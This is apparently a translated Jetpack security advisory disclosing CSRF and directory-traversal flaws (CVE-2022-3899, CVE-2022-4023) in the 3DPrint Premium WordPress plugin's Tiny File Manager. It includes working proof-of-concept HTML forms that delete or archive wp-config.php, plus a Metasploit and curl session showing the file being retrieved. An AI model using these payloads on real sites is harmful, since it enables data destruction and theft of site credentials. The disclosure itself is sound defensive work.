3DPrint Premium 插件中发现的漏洞
已发表: 2022-12-13启用文件管理器功能后,高级版 WordPress 插件 3DPrint 容易受到跨站请求伪造 (CSRF) 和目录遍历攻击。 这些漏洞允许攻击者删除或访问受影响站点上的任意文件和目录,包括站点配置文件等敏感文件,这可能再次导致整个站点被接管。
最近,在查看我们的实验签名标记的一些潜在误报时,我们在 3DPrint premium 插件中发现了一些令我们困惑的代码。
require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );
global $wpdb;
set_time_limit(0);
ini_set( 'memory_limit', '-1' );
此代码段位于插件包含目录中的 Tiny File Manager PHP 模块中,但在原始 Tiny File Manager 项目中找不到。 它似乎被注入了将其与 WordPress 基于角色的访问控制集成的意图。
在不相关的模块中加载像这样的 WordPress 代码文件通常表明有问题,因此我们决定进一步调查。
细心的读者会注意到,对该模块的访问仅限于具有管理员角色的用户,但没有随机数检查。 如果 Tiny File Manager 有自己的 CSRF 保护,那就没问题了,但事实并非如此,看起来这段代码可能容易受到 CSRF 攻击。 (Tiny File Manager 在我们让他们意识到这个问题后已经添加了 CSRF 保护。2.5.0 及更高版本使用起来应该更安全!)
一个复杂的因素是 Tiny File Manager 在安装 3DPrint premium 时不包含在包中,而是在激活时按需下载。 在撰写本文时下载的版本是 2.4.4 版,但它已被 3DPrint 开发人员大量修改,并且是从他们的域下载的,而不是直接从 Tiny File Manager 存储库下载的。
大多数更改删除了插件未使用的功能,以及一些其他更改,例如对路径进行硬编码,限制文件管理器应该能够访问的内容。 此外,Tiny File Manager 内置的身份验证和授权功能已被禁用,取而代之的是上述与 WordPress 角色系统的集成。
我们发现了几个漏洞,其中修改后的访问控制和 3DPrint 插件中包含 Tiny File Manager 的组合变得可被外部攻击者利用。 这包括删除或下载敏感文件,可能会导致整个网站接管。 这些漏洞利用修改后的访问控制中缺少随机数检查,以及 Tiny File Manager 本身的目录遍历漏洞。
我们已尝试联系 3DPrint 插件和 Tiny File Manager 项目的供应商。 其中,只有 Tiny File Manager 项目的开发人员回复了我们并修复了我们提交给他们的问题。
查看我们作为 Jetpack Scan 的一部分的新 WAF,它将开箱即用地防止这些攻击。 它目前处于测试阶段。 Jetpack Scan 还将检测易受攻击的组件,并帮助将其删除。
由于 Tiny File Manager 模块是按需下载和安装的,因此插件版本与正在使用的 Tiny File Manager 版本之间不一定存在对应关系。 然而,一旦安装,似乎没有一种简单的方法来更新 Tiny File Manager 模块,除了手动删除它并再次激活它。
因此,我们认为如果文件管理器已激活,所有版本的 3DPrint 都容易受到以下漏洞的攻击。
漏洞
1. CSRF导致任意文件/目录删除
- 插件:3D打印
- 插件插件:3dprint
- 插件 URI:http://www.wp3dprinting.com/2015/07/29/changelog/
- 易受攻击的版本:全部
- 固定版本:无
- CVSS 分数:8.2(高,CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
- 漏洞:CVE-2022-3899
包含的 Tiny File Manager 版本(2.4.4 版)中的批量删除功能没有针对目录遍历提供适当的保护,也缺乏 CSRF 保护。 这允许攻击者诱使管理员递归地删除服务器上的多个文件甚至目录。
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg('Selected files and folder deleted');
} else {
fm_set_msg('Error while deleting items', 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
这可以通过将group
和delete
POST 参数传递给任何值,并在file
参数中传递要删除的文件/目录数组来加以利用。 变量$new_path
是FM_ROOT_PATH
和传入文件名的简单串联,传递给递归删除函数fm_rdelete()
。 由于fm_rdelete()
不对其提供的路径名进行任何验证,这使得此代码容易受到目录遍历攻击。
这是一个概念证明示例:
<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="delete" value="1">
<input type="hidden" name="file[1]" value="../2020">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
<input type="submit" value="Get rich!">
</form>
所有路径都相对于服务器上的wp-content/uploads/p3d/
目录。 当任何登录的管理员单击致富按钮时,他们从 2020 年上传的内容将与站点wp-config.php
文件一起删除。
2. CSRF导致任意下载
- 插件:3D打印
- 插件插件:3dprint
- 插件 URI:http://www.wp3dprinting.com/2015/07/29/changelog/
- 易受攻击的版本:全部
- 固定版本:无
- CVSS 分数:7.4(高,CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
- CVE:CVE-2022-4023
Tiny File Manager(版本 2.4.4)中包含的下载所选文件的 zip 或 tar 存档的功能没有针对目录遍历的保护,并且缺乏 CSRF 保护。 这允许攻击者诱骗管理员创建一个 zip 或 tar 存档,其中包含来自站点的任意文件和目录,包括配置文件或其他敏感内容。
存档放在正常的 3DPring 上传目录中, wp-content/uploads/p3d/
。 文件名只能由攻击者部分控制,但足够可预测,因此暴力破解应该相对容易。 如果他们知道伪造的请求是在什么时间发送的,那么做出有根据的猜测也应该是微不足道的。
// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
通过发送带有group
post 请求,并将zip
或tar
变量设置为任何值,将创建一个包含file
参数中指定文件的存档。 当前日期和时间将附加到存档的文件名中,该文件名将与存档的文件具有相同的基本名称,如果多个文件一起存档,则为“存档”。 存档将在 3DPrint 上传目录中创建,但文件的路径名称未经过清理,并且可能包含此目录之外的路径,使其容易受到目录遍历攻击。
为了利用此漏洞,我们为 Metasploit 创建了一个简单的有效负载模块,作为一种自我提交的形式,将恶意有效负载发送到易受攻击的站点。 发送的概念验证有效载荷是:
<!DOCTYPE html>
<html>
<body>
<form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="zip" value="1">
<input type="hidden" name="file[1]" value="../2022">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
由于 Metasploit 模块会记录发送表单的时间戳,因此很容易猜测创建的存档的正确文件名。
% msfconsole
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00
msf6 payload(html/html_reverse_http) > exit
% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes
% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 87225 100 87225 0 0 2322k 0 --:--:-- --:--:-- --:--:-- 2366k
% unzip -v archive_221210_100649.zip
Archive: archive_221210_100649.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/12/
85888 Defl:X 85655 0% 2022-12-10 10:05 724f1f67 ../2022/12/funny-cat.jpg
1955 Defl:X 1114 43% 2022-11-01 23:25 96f2088a ../../../wp-config.php
-------- ------- --- -------
87843 86769 1% 4 files
请注意我们如何从请求的时间戳中推断出生成的存档文件的文件名。 在这种情况下,服务器容器运行的时区比本地时区晚一个时区。
建议
由于安装的文件管理器版本独立于安装的插件版本,我们不能推荐固定版本的插件。
如果以后发布新版本,我们也没有找到更新文件管理器模块的简单方法。
出于这个原因,我们认为如果启用文件管理器组件,所有版本的 3DPrint 高级插件都容易受到攻击。
我们的建议是确保禁用文件管理器模块,并从站点中删除该文件。
最简单的方法是删除文件wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php
(如果存在)。
结论
如果站点上启用了文件管理器模块,所有版本的 3DPrint 高级插件都容易受到 CSRF 和目录遍历攻击。 这不会影响从 WordPress.org 插件存储库下载的免费版插件。
在 Jetpack,我们努力确保您的网站免受此类漏洞的侵害。 我们建议您为您的站点制定一个安全计划,其中包括恶意文件扫描和备份。 Jetpack Security 捆绑包是一个很棒的 WordPress 安全选项,可确保您的网站和访问者的安全。 该产品包括实时恶意软件扫描、站点备份、来自 Akismet 的评论和表单垃圾邮件保护、暴力攻击保护等。
学分
Harald Eilertsen 的研究,Benedict Singer、Rob Pugh、Jen Swisher 和 Jetpack Scan 团队提供的反馈和更正。
时间线
- 2022-09-08:我们得知了这一发现并开始调查
- 2022-10-25:第一次联系供应商
- 2022-11-01:供应商通过不同渠道第二次联系
- 2022-11-08:公开批量删除漏洞 (CVE-2022-3899)
- 2022-11-15:就缺乏 CSRF 保护和目录遍历漏洞联系了 Tiny File Manager 的开发人员。
- 2022-11-19:发布 Tiny File Manager 2.5.0,修复 CSRF 问题,但未修复目录遍历问题。
- 2022-12-13:公开披露